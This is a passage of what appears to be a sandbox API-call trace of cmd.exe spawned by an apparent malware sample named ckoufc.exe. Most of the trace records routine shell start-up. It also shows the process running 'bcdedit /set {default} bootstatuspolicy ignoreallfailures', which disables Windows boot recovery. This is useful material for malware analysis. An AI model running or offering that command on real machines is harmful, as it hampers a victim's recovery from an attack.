lpcbData=0xaffaafe6a4*=0x1000) returned 0x2 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x0, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x40, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x40, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x0, lpData=0xaffaafe6c0*=0x40, lpcbData=0xaffaafe6a4*=0x1000) returned 0x2 [0051.426] RegCloseKey (hKey=0x88) returned 0x0 [0051.426] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xaffaafe6a8 | out: phkResult=0xaffaafe6a8*=0x88) returned 0x0 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x0, lpData=0xaffaafe6c0*=0x40, lpcbData=0xaffaafe6a4*=0x1000) returned 0x2 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x1, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x0, lpData=0xaffaafe6c0*=0x1, lpcbData=0xaffaafe6a4*=0x1000) returned 0x2 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x0, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x9, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x9, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.426] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x0, lpData=0xaffaafe6c0*=0x9, lpcbData=0xaffaafe6a4*=0x1000) returned 0x2 [0051.426] RegCloseKey (hKey=0x88) returned 0x0 [0051.426] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7051d [0051.426] srand (_Seed=0x5ce7051d) [0051.426] GetCommandLineW () returned="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0051.426] malloc (_Size=0x4000) returned 0x1d43c3f55a0 [0051.427] GetCommandLineW () returned="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0051.427] malloc (_Size=0xffce) returned 0x1d43c2a0080 [0051.427] ??_V@YAXPEAX@Z () returned 0x1d43c2a0080 [0051.428] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d43c2a0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.428] malloc (_Size=0xffce) returned 0x1d43c2b0060 [0051.428] ??_V@YAXPEAX@Z () returned 0x1d43c2b0060 [0051.428] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d43c2b0060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0051.428] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.428] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.429] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.429] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0051.429] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0051.429] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0051.429] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0051.429] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0051.429] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0051.429] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0051.429] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0051.429] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0051.429] GetProcessHeap () returned 0x1d43c1a0000 [0051.429] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a6660) returned 1 [0051.429] GetEnvironmentStringsW () returned 0x1d43c1a5b40* [0051.429] GetProcessHeap () returned 0x1d43c1a0000 [0051.429] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xb46) returned 0x1d43c1a6690 [0051.429] FreeEnvironmentStringsA (penv="A") returned 1 [0051.429] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0051.429] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.429] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0051.429] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0051.429] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0051.429] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0051.429] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0051.429] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0051.429] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0051.429] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0051.429] malloc (_Size=0xffce) returned 0x1d43c2c0040 [0051.430] ??_V@YAXPEAX@Z () returned 0x1d43c2c0040 [0051.430] GetProcessHeap () returned 0x1d43c1a0000 [0051.430] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x40) returned 0x1d43c1a8850 [0051.430] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d43c2c0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1d43c2c0040, lpFilePart=0xaffaaff220 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xaffaaff220*="Desktop") returned 0x17 [0051.431] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.431] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xaffaafef50 | out: lpFindFileData=0xaffaafef50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1d43c1a88a0 [0051.431] FindClose (in: hFindFile=0x1d43c1a88a0 | out: hFindFile=0x1d43c1a88a0) returned 1 [0051.431] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xaffaafef50 | out: lpFindFileData=0xaffaafef50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1d43c1a88a0 [0051.431] FindClose (in: hFindFile=0x1d43c1a88a0 | out: hFindFile=0x1d43c1a88a0) returned 1 [0051.431] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xaffaafef50 | out: lpFindFileData=0xaffaafef50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1d43c1a88a0 [0051.431] FindClose (in: hFindFile=0x1d43c1a88a0 | out: hFindFile=0x1d43c1a88a0) returned 1 [0051.431] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.432] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0051.432] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0051.432] GetProcessHeap () returned 0x1d43c1a0000 [0051.432] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a6690) returned 1 [0051.432] GetEnvironmentStringsW () returned 0x1d43c1a0fc0* [0051.432] GetProcessHeap () returned 0x1d43c1a0000 [0051.432] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xb7e) returned 0x1d43c1a9430 [0051.432] FreeEnvironmentStringsA (penv="=") returned 1 [0051.432] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d43c2a0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.432] GetProcessHeap () returned 0x1d43c1a0000 [0051.432] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a8850) returned 1 [0051.432] ??_V@YAXPEAX@Z () returned 0x1 [0051.432] ??_V@YAXPEAX@Z () returned 0x1 [0051.432] GetProcessHeap () returned 0x1d43c1a0000 [0051.432] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x4016) returned 0x1d43c1a9fd0 [0051.432] GetProcessHeap () returned 0x1d43c1a0000 [0051.432] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x88) returned 0x1d43c1a0fc0 [0051.433] GetProcessHeap () returned 0x1d43c1a0000 [0051.433] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a9fd0) returned 1 [0051.433] GetConsoleOutputCP () returned 0x1b5 [0051.618] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0051.618] GetUserDefaultLCID () returned 0x409 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7b827bb78, cchData=8 | out: lpLCData=":") returned 2 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xaffaaff5e0, cchData=128 | out: lpLCData="0") returned 2 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xaffaaff5e0, cchData=128 | out: lpLCData="0") returned 2 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xaffaaff5e0, cchData=128 | out: lpLCData="1") returned 2 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7b827bb68, cchData=8 | out: lpLCData="/") returned 2 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7b827bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7b827bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7b827ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7b827ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7b827ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7b827b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7b827b980, cchData=32 | out: lpLCData="Sun") returned 4 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7b827bb58, cchData=8 | out: lpLCData=".") returned 2 [0051.618] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7b827bb40, cchData=8 | out: lpLCData=",") returned 2 [0051.618] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0051.620] GetProcessHeap () returned 0x1d43c1a0000 [0051.620] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, Size=0x20c) returned 0x1d43c1a10c0 [0051.620] GetConsoleTitleW (in: lpConsoleTitle=0x1d43c1a10c0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.687] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0051.687] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0051.687] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0051.687] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0051.687] ??_V@YAXPEAX@Z () returned 0x1 [0051.687] GetProcessHeap () returned 0x1d43c1a0000 [0051.687] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x4012) returned 0x1d43c1a9fd0 [0051.687] GetProcessHeap () returned 0x1d43c1a0000 [0051.687] RtlFreeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, BaseAddress=0x1d43c1a9fd0) returned 1 [0051.688] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0051.688] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0051.688] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0051.688] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0051.688] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0051.688] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0051.688] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0051.688] GetProcessHeap () returned 0x1d43c1a0000 [0051.688] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xb0) returned 0x1d43c1a12e0 [0051.688] GetProcessHeap () returned 0x1d43c1a0000 [0051.688] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x20) returned 0x1d43c1a8850 [0051.689] GetProcessHeap () returned 0x1d43c1a0000 [0051.689] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x76) returned 0x1d43c1a13a0 [0051.690] GetConsoleTitleW (in: lpConsoleTitle=0xaffaaff4d0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.729] malloc (_Size=0xffce) returned 0x1d43c2b0060 [0051.729] ??_V@YAXPEAX@Z () returned 0x1d43c2b0060 [0051.730] malloc (_Size=0xffce) returned 0x1d43c2c0040 [0051.730] ??_V@YAXPEAX@Z () returned 0x1d43c2c0040 [0051.731] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0051.731] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0051.731] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0051.731] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0051.731] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0051.731] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0051.731] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0051.731] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0051.731] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0051.731] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0051.731] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0051.731] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0051.731] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0051.731] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0051.731] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0051.731] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0051.731] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0051.731] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0051.731] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0051.731] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0051.731] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0051.731] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0051.731] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0051.731] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0051.731] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0051.731] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0051.731] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0051.731] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0051.731] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0051.731] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0051.731] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0051.731] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0051.731] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0051.731] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0051.731] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0051.731] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0051.732] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0051.732] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0051.732] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0051.732] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0051.732] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0051.732] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0051.732] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0051.732] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0051.732] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0051.732] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0051.732] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0051.732] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0051.732] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0051.732] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0051.732] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0051.732] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0051.732] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0051.732] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0051.732] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0051.732] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0051.732] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0051.732] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0051.732] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0051.732] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0051.732] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0051.732] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0051.732] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0051.732] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0051.732] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0051.732] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0051.732] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0051.732] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0051.732] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0051.732] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0051.732] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0051.732] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0051.732] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0051.732] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0051.732] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0051.733] ??_V@YAXPEAX@Z () returned 0x1 [0051.733] GetProcessHeap () returned 0x1d43c1a0000 [0051.733] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xffde) returned 0x1d43c1a9fd0 [0051.733] GetProcessHeap () returned 0x1d43c1a0000 [0051.734] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x86) returned 0x1d43c1a1420 [0051.734] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0051.734] malloc (_Size=0xffce) returned 0x1d43c2c0040 [0051.734] ??_V@YAXPEAX@Z () returned 0x1d43c2c0040 [0051.734] GetProcessHeap () returned 0x1d43c1a0000 [0051.734] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x1ffac) returned 0x1d43c1b9fc0 [0051.735] SetErrorMode (uMode=0x0) returned 0x0 [0051.735] SetErrorMode (uMode=0x1) returned 0x0 [0051.735] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d43c1b9fd0, lpFilePart=0xaffaafed50 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xaffaafed50*="Desktop") returned 0x17 [0051.736] SetErrorMode (uMode=0x0) returned 0x1 [0051.736] GetProcessHeap () returned 0x1d43c1a0000 [0051.736] RtlReAllocateHeap (Heap=0x1d43c1a0000, Flags=0x0, Ptr=0x1d43c1b9fc0, Size=0x50) returned 0x1d43c1b9fc0 [0051.736] GetProcessHeap () returned 0x1d43c1a0000 [0051.736] RtlSizeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, MemoryPointer=0x1d43c1b9fc0) returned 0x50 [0051.736] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.736] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0051.736] GetProcessHeap () returned 0x1d43c1a0000 [0051.736] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x1bc) returned 0x1d43c1a14b0 [0051.736] GetProcessHeap () returned 0x1d43c1a0000 [0051.736] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x368) returned 0x1d43c1a1680 [0051.743] GetProcessHeap () returned 0x1d43c1a0000 [0051.743] RtlReAllocateHeap (Heap=0x1d43c1a0000, Flags=0x0, Ptr=0x1d43c1a1680, Size=0x1be) returned 0x1d43c1a1680 [0051.743] GetProcessHeap () returned 0x1d43c1a0000 [0051.743] RtlSizeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, MemoryPointer=0x1d43c1a1680) returned 0x1be [0051.743] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.743] GetProcessHeap () returned 0x1d43c1a0000 [0051.743] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xe8) returned 0x1d43c1a1850 [0051.744] GetProcessHeap () returned 0x1d43c1a0000 [0051.744] RtlReAllocateHeap (Heap=0x1d43c1a0000, Flags=0x0, Ptr=0x1d43c1a1850, Size=0x7e) returned 0x1d43c1a1850 [0051.744] GetProcessHeap () returned 0x1d43c1a0000 [0051.744] RtlSizeHeap (HeapHandle=0x1d43c1a0000, Flags=0x0, MemoryPointer=0x1d43c1a1850) returned 0x7e [0051.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.745] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xaffaafeac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaffaafeac0) returned 0xffffffffffffffff [0051.745] GetLastError () returned 0x2 [0051.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 